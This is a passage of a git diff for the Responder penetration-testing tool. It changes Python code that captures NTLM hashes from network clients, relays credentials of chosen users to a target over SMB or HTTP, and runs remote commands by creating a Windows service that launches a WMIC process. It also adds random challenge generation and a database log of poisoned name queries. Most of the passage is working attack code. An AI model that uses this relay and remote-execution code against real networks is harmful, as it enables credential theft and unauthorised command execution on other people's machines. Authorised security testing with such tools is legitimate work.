print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
||||||
ShowHelp()
|
ShowHelp()
|
||||||
#Make sure we don't open 2 shell at the same time..
|
#Make sure we don't open 2 shell at the same time..
|
||||||
@@ -563,11 +583,12 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
class ThreadingTCPServer(TCPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
ThreadingTCPServer.allow_reuse_address = 1
|
ThreadingTCPServer.allow_reuse_address = 1
|
||||||
|
ThreadingTCPServer.daemon_threads = True
|
||||||
|
|
||||||
def serve_thread_tcp(host, port, handler):
|
def serve_thread_tcp(host, port, handler):
|
||||||
try:
|
try:
|
||||||
@@ -591,7 +612,7 @@ def main():
|
|||||||
while True:
|
while True:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except (KeyboardInterrupt, SystemExit):
|
||||||
sys.exit("\rExiting...")
|
sys.exit("\rExiting...")
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|||||||
@@ -120,7 +120,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
|
|||||||
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
|
|
||||||
if User in UserToRelay or "ALL" in UserToRelay:
|
if User in UserToRelay or "ALL" in UserToRelay:
|
||||||
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||||
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
|
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
return None, None
|
return None, None
|
||||||
@@ -142,7 +142,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
|
|||||||
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
|
||||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
if User in UserToRelay or "ALL" in UserToRelay:
|
if User in UserToRelay or "ALL" in UserToRelay:
|
||||||
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||||
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
|
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
return None, None
|
return None, None
|
||||||
@@ -174,7 +174,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
|
|||||||
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
|
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
|
||||||
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
if Username in UserToRelay or "ALL" in UserToRelay:
|
||||||
print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
|
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
return None, None
|
return None, None
|
||||||
@@ -196,7 +196,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
|
|||||||
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
|
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
|
||||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
if Username in UserToRelay or "ALL" in UserToRelay:
|
||||||
print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
|
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
return None, None
|
return None, None
|
||||||
@@ -222,9 +222,9 @@ def ExtractSMBChallenge(data):
|
|||||||
|
|
||||||
def ExtractHTTPChallenge(data):
|
def ExtractHTTPChallenge(data):
|
||||||
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
SecBlobLen = struct.unpack("<h", data[43:45])[0]
|
||||||
if SecBlobLen < 255:
|
if SecBlobLen <= 257:
|
||||||
Challenge = data[102:110]
|
Challenge = data[102:110]
|
||||||
if SecBlobLen > 255:
|
if SecBlobLen >= 258:
|
||||||
Challenge = data[106:114]
|
Challenge = data[106:114]
|
||||||
print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex")
|
print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex")
|
||||||
return Challenge
|
return Challenge
|
||||||
@@ -430,10 +430,8 @@ def CreateService(Command, f, host, data, s):
|
|||||||
ContextHandler = data[84:104]
|
ContextHandler = data[84:104]
|
||||||
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||||
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||||
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
|
||||||
FilePath = FileChars
|
|
||||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command)
|
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command)
|
||||||
w.calculate()
|
w.calculate()
|
||||||
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||||
x.calculate()
|
x.calculate()
|
||||||
|
|||||||
@@ -651,6 +651,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
#Padding
|
||||||
|
if len(str(self.fields["MachineName"]))%2==0:
|
||||||
|
self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
|
||||||
|
else:
|
||||||
|
self.fields["MachineNameNull"] = "\x00\x00"
|
||||||
## Convert to UTF-16LE
|
## Convert to UTF-16LE
|
||||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
|
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
|
||||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
|
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
|
||||||
@@ -677,10 +682,7 @@ class SMBDCESVCCTLCreateService(Packet):
|
|||||||
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
||||||
("BinPathOffset", "\x00\x00\x00\x00"),
|
("BinPathOffset", "\x00\x00\x00\x00"),
|
||||||
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
||||||
("FileName", ""),
|
|
||||||
("BinPathName", ""),
|
|
||||||
("BinCMD", ""),
|
("BinCMD", ""),
|
||||||
("BintoEnd", ""),
|
|
||||||
("BinCMDTerminator", "\x00\x00"),
|
("BinCMDTerminator", "\x00\x00"),
|
||||||
("LoadOrderGroup", "\x00\x00\x00\x00"),
|
("LoadOrderGroup", "\x00\x00\x00\x00"),
|
||||||
("TagID", "\x00\x00\x00\x00"),
|
("TagID", "\x00\x00\x00\x00"),
|
||||||
@@ -694,29 +696,13 @@ class SMBDCESVCCTLCreateService(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
|
|
||||||
|
|
||||||
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
|
|
||||||
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
|
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
|
||||||
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
|
|
||||||
#That is: delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
|
##Run the actual command via WMIC, no need to write/execute from a file.
|
||||||
self.fields["FileName"] = ""#Reset it.
|
self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
|
||||||
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
|
|
||||||
self.fields["BinCMD"] = FinalCMD
|
BinDataLen = str(self.fields["BinCMD"])
|
||||||
self.fields["BintoEnd"] = "& %COMSPEC% /C call "+File+"&exit"
|
|
||||||
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
|
|
||||||
|
|
||||||
## Calculate first
|
## Calculate first
|
||||||
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||||
@@ -728,9 +714,8 @@ class SMBDCESVCCTLCreateService(Packet):
|
|||||||
## Then convert to UTF-16LE
|
## Then convert to UTF-16LE
|
||||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||||
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||||
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
|
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||||
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
|
||||||
|
|
||||||
class SMBDCESVCCTLOpenService(Packet):
|
class SMBDCESVCCTLOpenService(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|||||||
37
utils.py
37
utils.py
@@ -23,6 +23,17 @@ import time
|
|||||||
import settings
|
import settings
|
||||||
import datetime
|
import datetime
|
||||||
|
|
||||||
|
def RandomChallenge():
|
||||||
|
if settings.Config.NumChal == "random":
|
||||||
|
from random import getrandbits
|
||||||
|
NumChal = '%016x' % getrandbits(16 * 4)
|
||||||
|
Challenge = ''
|
||||||
|
for i in range(0, len(NumChal),2):
|
||||||
|
Challenge += NumChal[i:i+2].decode("hex")
|
||||||
|
return Challenge
|
||||||
|
else:
|
||||||
|
return settings.Config.Challenge
|
||||||
|
|
||||||
def HTTPCurrentDate():
|
def HTTPCurrentDate():
|
||||||
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
|
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
|
||||||
return Date
|
return Date
|
||||||
@@ -135,14 +146,17 @@ def DumpConfig(outfile, data):
|
|||||||
with open(outfile,"a") as dump:
|
with open(outfile,"a") as dump:
|
||||||
dump.write(data + '\n')
|
dump.write(data + '\n')
|
||||||
|
|
||||||
def SaveToDb(result):
|
def CreateResponderDb():
|
||||||
# Creating the DB if it doesn't exist
|
|
||||||
if not os.path.exists(settings.Config.DatabaseFile):
|
if not os.path.exists(settings.Config.DatabaseFile):
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
|
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
|
||||||
|
cursor.commit()
|
||||||
|
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
if not k in result:
|
if not k in result:
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
@@ -211,6 +225,23 @@ def SaveToDb(result):
|
|||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||||
|
|||||||
Reference in New Issue
Block a user